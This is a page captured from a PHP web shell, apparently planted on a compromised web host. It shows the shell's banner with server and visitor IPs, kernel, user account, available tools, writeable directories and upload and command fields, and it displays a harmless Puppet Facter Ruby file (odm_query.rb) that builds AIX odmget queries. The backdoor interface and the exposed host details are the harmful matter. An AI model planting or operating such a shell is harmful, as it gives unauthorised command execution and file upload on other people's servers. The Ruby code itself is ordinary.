403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.119.121.88
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter/util/aix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter/util/aix/odm_query.rb
# frozen_string_literal: true

# CuAt (Customized Attributes) non-default attribute values
# CuDv (Customized Devices) the devices present on this machine
# PdAt (Predefined Attributes) default values for all device attributes
# PdDv (Predefined Devices) the list of all devices supported by this release of AIX

module Facter
  module Util
    module Aix
      class ODMQuery
        REPOS = %w[CuAt CuDv PdAt PdDv].freeze

        def initialize
          @query = ''
          @conditions = []
          @log = Facter::Log.new(self)
        end

        def equals(field, value)
          @conditions << "#{field}='#{value}'"
          self
        end

        def like(field, value)
          @conditions << "#{field} like '#{value}'"
          self
        end

        def execute
          result = nil
          REPOS.each do |repo|
            break if result && !result.empty?

            result = Facter::Core::Execution.execute("#{query} #{repo}", logger: @log)
          end
          result
        end

        def query
          "odmget -q \"#{@conditions.join(' AND ')}\""
        end
      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit